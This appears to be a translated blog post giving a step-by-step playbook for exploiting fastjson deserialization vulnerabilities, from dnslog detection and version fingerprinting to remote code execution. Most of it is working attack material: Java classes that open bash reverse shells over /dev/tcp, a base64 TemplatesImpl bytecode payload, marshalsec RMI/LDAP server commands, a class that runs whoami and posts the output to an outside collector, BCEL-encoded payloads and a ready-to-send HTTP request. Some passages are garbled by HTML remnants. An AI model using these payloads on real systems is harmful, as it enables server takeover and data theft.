Detection
Reference: https://github.com/alibaba/fastjson/issues/3077
jndi vulnerability detection
{"@type":"java.net.InetAddress","val":"x166os.dnslog.cn"}
The java.net.InetAddress gadget was disabled in 1.2.49. If the above POC can produce dnslog, it means that there is a high probability that it can rce.
Backend detection
{“@type”:”java.net.Inet4Address”,”val”:”dnslog”}
{“@type”:”java.net.Inet6Address”,”val”:”dnslog”}
{“@type”:”java.net.InetSocketAddress”{“address”:,”val”:”dnslog”}}
{“@type”:”com.alibaba.fastjson.JSONObject”, {“@type”: “java.net.URL”, “val”:”dnslog”} }””}
{{“@type”:”java.net.URL”,”val”:”dnslog”}:”aaa”}
Set[{“@type”:”java.net.URL”,”val”:”dnslog”}]
Set[{“@type”:”java.net.URL”,”val”:”dnslog”}
{{“@type”:”java.net.URL”,”val”:”dnslog”}:0
If the above POC can generate dnslog, it means that the backend is 100% fastjson.
Train record
Recently, I discovered that there is an area where people can easily make mistakes, which is the payload of fastjson. When looking at online payloads, I found that some goals can be successful and some goals cannot be successful. Why is this?
For example, this Payload:
{"@type":"java.net.Inet4Address","val":"dnslog"}
This classmate found that in the vulhub environment, using the payload of the rebound shell can succeed, but changing the payload used for detection does not work.
In fact, the reason is that some developers will use Spring’s @RequestBody annotation when using fastjson to parse requests, telling the parsing engine that what I need is a User class object (actually, it can be understood as an ordinary object in JSON without @type).
At this time, what you pass in is {"@type":"java.net.Inet4Address","val":"xxxxx"}
, which is equivalent to giving it to him is a java.net.Inet4Address object, so a type not match exception will occur.
Therefore, it is recommended to test fastjson vulnerabilities. The outermost layer must be an array or object. Do not add @type, and then use Payload as one of the key values, such as:
{ "xxx": {"@type":"java.net.InetAddress","val":"dnslog"} }
Writing this way usually won’t cause type not match errors.
Error detection
Reference: How to get the precise version number of fastjson – Light Blue’s blog
{“xxx”:”aaa”
When curly braces and commas are not detected, an error message can be triggered to determine whether the backend is fastjson or jackson. In some cases, the version number can be directly revealed.
Version detection process
{“@type”:”java.net.Inet4Address”,”val”:”dnslog”}
If there is dnslog, you can judge that the entry point is fastjson, and then start the version judgment.
{“@type”:”java.net.InetAddress”,”val”:”dnslog”}
If there is a dnslog, it means that the version is below 49, because this gadget was banned in 49.
{
“xxx”: “\x
If there is a dos vulnerability, the version is below 60. If not, it will be over 60. Reference: https://blog.riskivy.com/Nondestructive detection of fastjson-dos vulnerabilities and blind differentiation of fastjson and jackson components/
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
If there is dnslog, it means it is 68 or below.
69 and above
{“@type”:”java.lang.AutoCloseable”,”@type”:”java.io.FileOutputStream”,”name”:”/etc/passwd”, “append”:true}
Recurrence
fastjson 1.2.24 and previous versions
dnslog
First check if there are any vulnerabilities
Content-Type: application/json
1.Success
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:1099","autoCommit":true}< /pre> <p>2.Success</p> <pre>{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099","autoCommit":true}< /pre> <p>3. Unsuccessful</p> <pre>{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","JndiName":"ldap://ip:1389/Object", "loginTimeout" :0}
Bounce shell
First compile the poc to get the bytecode
javacPoc.class
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet {
public Poc() throws IOException {
try {
Runtime rt = Runtime.getRuntime();
String[] commands={“/bin/bash”,”-c”,”bash -i > & amp; /dev/tcp/ip/19999 0> & amp;1″};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}
Then base64 encrypt the .class file python solve_payload.py
import base64 fin = open(r"Poc.class", "rb") fout = open(r"en.txt", "w") s = base64.encodestring(fin.read()).replace("\\ ", "") fout.write(s) fin.close() fout.close()
Modify the _bytecodes of json to the base64 text just generated:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANQoADAAeCgAfACAHACEIACIIACMIACQKAB8AJQoAJgAnBwAoBwApCgAKAB4HACoBAAY8aW5pdD 4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcAKQcAKAEAACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR lcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZ XJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnR lcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAsAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAA0ADgcALQwALgA vAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jAQAuYmFzaCAtaSA + JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTk5OTkgMD4mMQwAMAAxBwAyDAAzADQBABNqYXZhL2xhbmcvRXhjZ XB0aW9uAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3Vu L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA oKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQAhAAoADAAAAAAABAABAA0ADgACAA8AAAB + AAQABAAAACwqtwABuAACTAa9AANZ AxIEU1kEEgVTWQUSBlNNKyy2AAdOLbYACFenAARMsQABAAQAJwAqAAkAAgAQAAAAIgAIAAAACwAEAA4ACAAPABwAEAAiABEAJwAUACoAEgArABwAEQAAABAAAv8AKgABBwASAAEHABMAABQAAAAEAAEAFQABABYAFwABAA8AAAAZAAAABAAAAAGxAAAAAAQAQAAAABgABAAAAIAABABY AGAACAA8AAAAZAAAAAwAAAAGxAAAAAQAQAAAABgABAAAAJQAUAAAABAABABkACQAaABsAAgAPAAAAJQACAAIAAAAJuwAKWbcAC0yxAAAAAAQAQAAAACgACAAAAKAAIACkAFAAAAAQAAQAJAAEAHAAAAAIAHQ==\ "],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols" :"all"}
nc -lvp 19999
Send a package to open the shell
But there are restrictions:
- The target website uses the fastjson library to parse json
Feature.SupportNonPublicField
is set during parsing, otherwise private attributes are not supported.- The
TemplatesImpl
class exists in the jdk used by the target
Restrictions of jndi
Why not use jndi? Because java 8u121 (Java? SE Development Kit 8, Update 121 Release Not…) has been updated and added the com.sun.jndi.rmi.object.trustURLCodebase option. Only this option is set. When it is True, the URL can be used to load the class normally.
https://www.anquanke.com/post/id/182140
Usage based on rmi
Applicable jdk versions: JDK 6u132, JDK 7u122, before JDK 8u113
How to use:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.RMIRefServer http://127.0.0.1:8080/test/#Expolit
Usage based on ldap
Applicable jdk versions: JDK 11.0.1, 8u191, 7u201, and before 6u211
How to use:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.LDAPrefServer http://127.0.0.1:8080/test/#Expolit
Usage based on BeanFactory
Applicable jdk versions: JDK 11.0.1, 8u191, 7u201, 6u211 and later
Prerequisite for utilization: Because this utilization method requires the use of a local class on the server, and this class is in the jar package of tomcat, it can generally only be successfully exploited on tomcat.
How to use:
public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName ("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh', '-c','open /Applications/Calculator.app/']).start()")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
Fastjson 1.2.47 remote command execution vulnerability
dnslog
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:9999/Exploit", "autoCommit":true } }
jndi injects rmi into the shell
The target environment is openjdk:8u102. This version does not have the restrictions of com.sun.jndi.rmi.object.trustURLCodebase. We can simply use RMI to execute commands.
First compile and upload the command execution code, such as http://ip/ExportObject.class:
// javac ExportObject.java import java.lang.Runtime; import java.lang.Process; public class ExportObject { static { try { Runtime rt = Runtime.getRuntime(); String[] commands={"/bin/bash","-c","bash -i > & amp; /dev/tcp/ip/19999 0> & amp;1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
Then we use the marshalsec project to start an RMI server, listen to port 9999, and specify to load the remote class ExportObject.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#ExportObject" 9997
Send Payload to the shooting range server:
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:9999/Exploit", "autoCommit":true } }
nc -lvp 19999
To successfully pop up the shell, the java version must be the same or lower to be successful. Because java is compatible with lower version classes, but not upwards, jdk6 is usually used to compile classes.
Note that some Java versions must be the same. You can see the Java version in the web server log request header, then use this version to compile the class, and then load and execute it remotely.
ldap execution command
exp
//evil2.java import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.Reader; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; public class evil2 { public static void post(String uri, String data) { HttpURLConnection httpURLConnection = null; BufferedReader bufferedReader = null; try { URL url = new URL(uri); httpURLConnection = (HttpURLConnection)url.openConnection(); httpURLConnection.setRequestMethod("POST"); httpURLConnection.setDoOutput(true); OutputStreamWriter out = new OutputStreamWriter(httpURLConnection.getOutputStream()); out.write(data); out.close(); httpURLConnection.connect(); InputStream inputStream = httpURLConnection.getInputStream(); bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line = null; StringBuffer stringBuffer = new StringBuffer(); while ((line = bufferedReader.readLine()) != null) { stringBuffer.append(line + "\\ "); } } catch (Exception e) { e.printStackTrace(); } finally { if (httpURLConnection != null) { httpURLConnection.disconnect(); } try { if (bufferedReader != null) { bufferedReader.close(); } } catch (IOException e) {} } } public static String exec(String cmd) { StringBuffer res = new StringBuffer(); try { Process p = Runtime.getRuntime().exec(cmd); p.waitFor(); InputStream fis = p.getInputStream(); InputStreamReader isr = new InputStreamReader(fis); BufferedReader br = new BufferedReader(isr); String line = ""; while ((line = br.readLine()) != null) { res.append(line); } } catch (Exception e) { e.printStackTrace(); } return res.toString(); } static { String cmd = evil2.exec("whoami"); evil2.post("http://ldap.ceu5ns.ceye.io/", cmd); // cmd = evil2.exec("ifconfig"); // evil2.post("http://ldap.91030df7.n0p.co/", cmd); // cmd = evil2.exec("cat /etc/hosts"); // evil2.post("http://ldap.91030df7.n0p.co/", cmd); } }
Start ldap server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPrefServer http://ip/#evil2 1099
post
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ip:1099/Exploit", "autoCommit":true } }
executed successfully.
Bounce shell
//evil.java import java.lang.Runtime; import java.lang.Process; public class evil { static { try { Runtime rt = Runtime.getRuntime(); String[] commands={"/bin/bash","-c","bash -i > & amp; /dev/tcp/ip/19999 0> & amp;1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
Start ldap server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil 1098
bp packet sending
POST /public/LOGIN/loginIn HTTP/1.1 Host:xxx Content-Length: 266 Accept: text/plain, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 Content-Type: application/json; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac; SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac Connection: close { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ip:1098/Exploit", "autoCommit":true } }
Shell successfully popped up.
defineclass
Reference: https://github.com/bit4woo/code2sec.com/blob/master/Java deserialization vulnerability learning practice 7: fastjson deserialization PoC summary.md
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
This is mentioned above and has limitations. In actual combat, it is generally GG.
tomcat-dbcp & amp; & amp;commons-dbcp
Introduction to Fastjson BasicDataSource attack chain
The BasicDataSource attack chain can only be used with Fastjson 1.2.24 and lower versions.
Referring to the use of defineClass in java deserialization – Prophet Community, I found that ClassLoader is quite easy to use. The payload dependency given in the article is tomcat-dbcp, and the corresponding construction class is org.apache.tomcat.dbcp.dbcp.BasicDataSource. The vulnerability environment I encountered did not have tomcat-dbcp, only commons-dbcp, but I found that it can also be used. The utilization method is basically the same as the Payload construction method, but the corresponding construction class must be replaced by org.apache.commons.dbcp. BasicDataSource.
{ { @type": "com.alibaba.fastjson.JSONObject", "c": { "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$ a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H $f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U $c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$ a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$ G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3 $p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$ p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O $x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca $gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$ S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A\ " } }:"ddd" }
{ "@type": "org.apache.commons.dbcp.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$ a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H $f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U $c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$ a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$ G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3 $p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$ p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O $x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca $gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$ S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A\ " }
fastjson 1.2.68 bypasses rce
refer to:
https://b1ue.cn/archives/382.html You need to find the specific gadget by yourself. Not public yet.
There are currently only two easy-to-use chains, one is mysqljdbc, which requires mysqlconnect to depend on 5.x. The other is common-io to write files, which requires knowing the absolute path. Both chains are currently public.
The knowledge points of the article match the official knowledge files, and you can further learn relevant knowledge. Java skill treeUsing JDBC to operate the databaseDatabase operation 136535 people are learning the system